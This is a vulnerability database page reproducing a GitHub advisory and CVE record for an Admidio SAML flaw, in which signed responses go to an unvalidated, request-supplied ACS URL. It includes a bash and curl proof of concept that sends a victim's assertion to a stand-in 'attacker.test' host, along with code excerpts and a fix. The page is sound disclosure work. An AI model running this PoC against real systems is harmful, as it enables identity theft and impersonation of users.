Vulnerability-Lookup

GHSA-P9W9-87C8-M235

Vulnerability from github – Published: 2026-04-29 21:57 – Updated: 2026-05-08 20:14

Summary

Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest

Details

Summary

The SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.

Details

The vulnerability is in src/SSO/Service/SAMLService.php, in handleSSORequest() at lines 439-465:

// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)
$clientACS = $request->getAssertionConsumerServiceURL();

// ...

// Line 456: Used as the Destination of the SAML Response
$response->setDestination($clientACS);

// Lines 463-465: Also used as the Recipient in SubjectConfirmationData
$subjectConfirmationData = new \LightSaml\Model\Assertion\SubjectConfirmationData();
$subjectConfirmationData
    ->setRecipient($clientACS) // Required recipient URL

There is no code that compares $clientACS against the client's registered smc_acs_url column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP's registered ACS endpoints.

Signature validation is conditional and does not prevent this attack:

At lines 417-419:

if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
}

If neither smc_require_auth_signed nor smc_validate_signatures is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP's Entity ID (which is often publicly discoverable from the SP's metadata endpoint) to craft a malicious AuthnRequest.

Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because: - Signature validation proves the request came from the SP, not that the ACS URL is authorized - If the SP's signing key is compromised, the ACS URL becomes the last line of defense - This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1

The same pattern exists in the error response path at lines 323-326:

} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
    $response->setDestination($request->getAssertionConsumerServiceURL());
} else {
    $response->setDestination($client->getValue('smc_acs_url'));
}

Attack flow: 1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata) 2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled AssertionConsumerServiceURL 3. Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form) 4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes 5. The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser 6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields 7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)

PoC

# Step 1: Generate a malicious SAML AuthnRequest
# This is a base64-encoded SAML AuthnRequest with:
#   - Issuer = the known Entity ID of a registered SP
#   - AssertionConsumerServiceURL = attacker's server

# Example AuthnRequest XML (before base64 encoding):
# <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
#   xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
#   ID="_test123"
#   Version="2.0"
#   IssueInstant="2026-03-17T00:00:00Z"
#   AssertionConsumerServiceURL="https://attacker.test/steal-saml"
#   ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
#   <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer>
# </samlp:AuthnRequest>

SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)

# Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint
# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
  -d "SAMLRequest=$SAML_REQUEST" \
  -b "ADMIDIO_SESSION=victim_session_cookie"

# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form
# that POSTs the signed SAML Response to https://attacker.test/steal-saml
# The response contains: user login name, email, full name, roles, and any other
# profile fields configured in the SP's field mapping

# Step 4: Attacker receives the signed SAML assertion and can replay it
# to the legitimate SP to authenticate as the victim

Impact

User Identity Theft: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.
Information Disclosure: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP's field mapping) is exfiltrated.
Scope Change (S:C): The IdP vulnerability directly enables impersonation on separate Service Provider applications.
No Signature Required: When smc_require_auth_signed is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP's Entity ID.

Recommended Fix

Validate the AssertionConsumerServiceURL from the AuthnRequest against the registered smc_acs_url before using it. In src/SSO/Service/SAMLService.php, add validation after loading the client:

// After line 439: $clientACS = $request->getAssertionConsumerServiceURL();

// Validate ACS URL against registered client configuration
$registeredACS = $client->getValue('smc_acs_url');
if (!empty($clientACS) && $clientACS !== $registeredACS) {
    throw new Exception(
        'The AssertionConsumerServiceURL in the AuthnRequest ("' . $clientACS . '") ' .
        'does not match the registered ACS URL for this client. ' .
        'Possible assertion theft attempt.'
    );
}

// If no ACS URL in request, fall back to the registered one
if (empty($clientACS)) {
    $clientACS = $registeredACS;
}

Also apply the same validation in the errorResponse() method at line 323-326:

// Replace lines 323-326 with:
if ($request instanceof LogoutRequest) {
    $response->setDestination($client->getValue('smc_slo_url'));
} else {
    // Always use the registered ACS URL, never the request's ACS URL
    $response->setDestination($client->getValue('smc_acs_url'));
}

Severity ?

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:57:30Z",
    "nvd_published_at": "2026-05-07T04:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe SAML IdP implementation in Admidio\u0027s SSO module uses the `AssertionConsumerServiceURL` value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (`smc_acs_url`) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary `AssertionConsumerServiceURL`, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.\n\n## Details\n\nThe vulnerability is in `src/SSO/Service/SAMLService.php`, in `handleSSORequest()` at lines 439-465:\n\n```php\n// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)\n$clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// ...\n\n// Line 456: Used as the Destination of the SAML Response\n$response-\u003esetDestination($clientACS);\n\n// Lines 463-465: Also used as the Recipient in SubjectConfirmationData\n$subjectConfirmationData = new \\LightSaml\\Model\\Assertion\\SubjectConfirmationData();\n$subjectConfirmationData\n    -\u003esetRecipient($clientACS) // Required recipient URL\n```\n\nThere is no code that compares `$clientACS` against the client\u0027s registered `smc_acs_url` column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP\u0027s registered ACS endpoints.\n\n**Signature validation is conditional and does not prevent this attack:**\n\nAt lines 417-419:\n```php\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n}\n```\n\nIf neither `smc_require_auth_signed` nor `smc_validate_signatures` is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP\u0027s Entity ID (which is often publicly discoverable from the SP\u0027s metadata endpoint) to craft a malicious AuthnRequest.\n\nEven when signatures ARE validated, the ACS URL should still be checked against the registered value, because:\n- Signature validation proves the request came from the SP, not that the ACS URL is authorized\n- If the SP\u0027s signing key is compromised, the ACS URL becomes the last line of defense\n- This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1\n\n**The same pattern exists in the error response path** at lines 323-326:\n```php\n} elseif (method_exists($request, \u0027getAssertionConsumerServiceURL\u0027)) {\n    $response-\u003esetDestination($request-\u003egetAssertionConsumerServiceURL());\n} else {\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```\n\n**Attack flow:**\n1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP\u0027s public metadata)\n2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled `AssertionConsumerServiceURL`\n3. Attacker sends this AuthnRequest to Admidio\u0027s SSO endpoint (via redirect or auto-submitting form)\n4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user\u0027s identity and attributes\n5. The SAML response is POST-binding-sent to the attacker\u0027s URL via an auto-submitting HTML form rendered in the victim\u0027s browser\n6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields\n7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)\n\n## PoC\n\n```bash\n# Step 1: Generate a malicious SAML AuthnRequest\n# This is a base64-encoded SAML AuthnRequest with:\n#   - Issuer = the known Entity ID of a registered SP\n#   - AssertionConsumerServiceURL = attacker\u0027s server\n\n# Example AuthnRequest XML (before base64 encoding):\n# \u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n#   xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n#   ID=\"_test123\"\n#   Version=\"2.0\"\n#   IssueInstant=\"2026-03-17T00:00:00Z\"\n#   AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\"\n#   ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\n#   \u003csaml:Issuer\u003ehttps://legitimate-sp.test/metadata\u003c/saml:Issuer\u003e\n# \u003c/samlp:AuthnRequest\u003e\n\nSAML_REQUEST=$(echo -n \u0027\u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_test123\" Version=\"2.0\" IssueInstant=\"2026-03-17T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\" ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\u003csaml:Issuer\u003eREGISTERED_SP_ENTITY_ID\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e\u0027 | base64 -w 0)\n\n# Step 2: Send via HTTP-POST binding to Admidio\u0027s SSO endpoint\n# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)\ncurl -X POST \"https://TARGET/modules/sso/index.php/saml/sso\" \\\n  -d \"SAMLRequest=$SAML_REQUEST\" \\\n  -b \"ADMIDIO_SESSION=victim_session_cookie\"\n\n# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form\n# that POSTs the signed SAML Response to https://attacker.test/steal-saml\n# The response contains: user login name, email, full name, roles, and any other\n# profile fields configured in the SP\u0027s field mapping\n\n# Step 4: Attacker receives the signed SAML assertion and can replay it\n# to the legitimate SP to authenticate as the victim\n```\n\n## Impact\n\n- **User Identity Theft**: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.\n- **Information Disclosure**: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP\u0027s field mapping) is exfiltrated.\n- **Scope Change (S:C)**: The IdP vulnerability directly enables impersonation on separate Service Provider applications.\n- **No Signature Required**: When `smc_require_auth_signed` is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP\u0027s Entity ID.\n\n## Recommended Fix\n\nValidate the `AssertionConsumerServiceURL` from the AuthnRequest against the registered `smc_acs_url` before using it. In `src/SSO/Service/SAMLService.php`, add validation after loading the client:\n\n```php\n// After line 439: $clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// Validate ACS URL against registered client configuration\n$registeredACS = $client-\u003egetValue(\u0027smc_acs_url\u0027);\nif (!empty($clientACS) \u0026\u0026 $clientACS !== $registeredACS) {\n    throw new Exception(\n        \u0027The AssertionConsumerServiceURL in the AuthnRequest (\"\u0027 . $clientACS . \u0027\") \u0027 .\n        \u0027does not match the registered ACS URL for this client. \u0027 .\n        \u0027Possible assertion theft attempt.\u0027\n    );\n}\n\n// If no ACS URL in request, fall back to the registered one\nif (empty($clientACS)) {\n    $clientACS = $registeredACS;\n}\n```\n\nAlso apply the same validation in the `errorResponse()` method at line 323-326:\n\n```php\n// Replace lines 323-326 with:\nif ($request instanceof LogoutRequest) {\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_slo_url\u0027));\n} else {\n    // Always use the registered ACS URL, never the request\u0027s ACS URL\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```",
  "id": "GHSA-p9w9-87c8-m235",
  "modified": "2026-05-08T20:14:29Z",
  "published": "2026-04-29T21:57:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41670"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest"
}

CVE-2026-41670 (GCVE-0-2026-41670)

Vulnerability from cvelistv5 – Published: 2026-05-07 03:00 – Updated: 2026-05-07 13:44

Title

Admidio: SAML Response Sent to Unvalidated Assertion Consumer Service URL from AuthnRequest

Summary

Admidio is an open-source user management solution. Prior to version 5.0.9, the SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. This issue has been patched in version 5.0.9.

Severity ?

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

CWE

CWE-20 - Improper Input Validation
CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/Admidio/admidio/security/advis…	x_refsource_CONFIRM
https://github.com/Admidio/admidio/releases/tag/v5.0.9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Admidio	admidio	Affected: < 5.0.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41670",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T13:43:57.542238Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T13:44:01.169Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the SAML IdP implementation in Admidio\u0027s SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. This issue has been patched in version 5.0.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T03:00:39.851Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
        },
        {
          "name": "https://github.com/Admidio/admidio/releases/tag/v5.0.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
        }
      ],
      "source": {
        "advisory": "GHSA-p9w9-87c8-m235",
        "discovery": "UNKNOWN"
      },
      "title": "Admidio: SAML Response Sent to Unvalidated Assertion Consumer Service URL from AuthnRequest"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41670",
    "datePublished": "2026-05-07T03:00:39.851Z",
    "dateReserved": "2026-04-22T03:53:24.405Z",
    "dateUpdated": "2026-05-07T13:44:01.169Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-P9W9-87C8-M235

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-41670 (GCVE-0-2026-41670)

Tags

Sightings

Nomenclature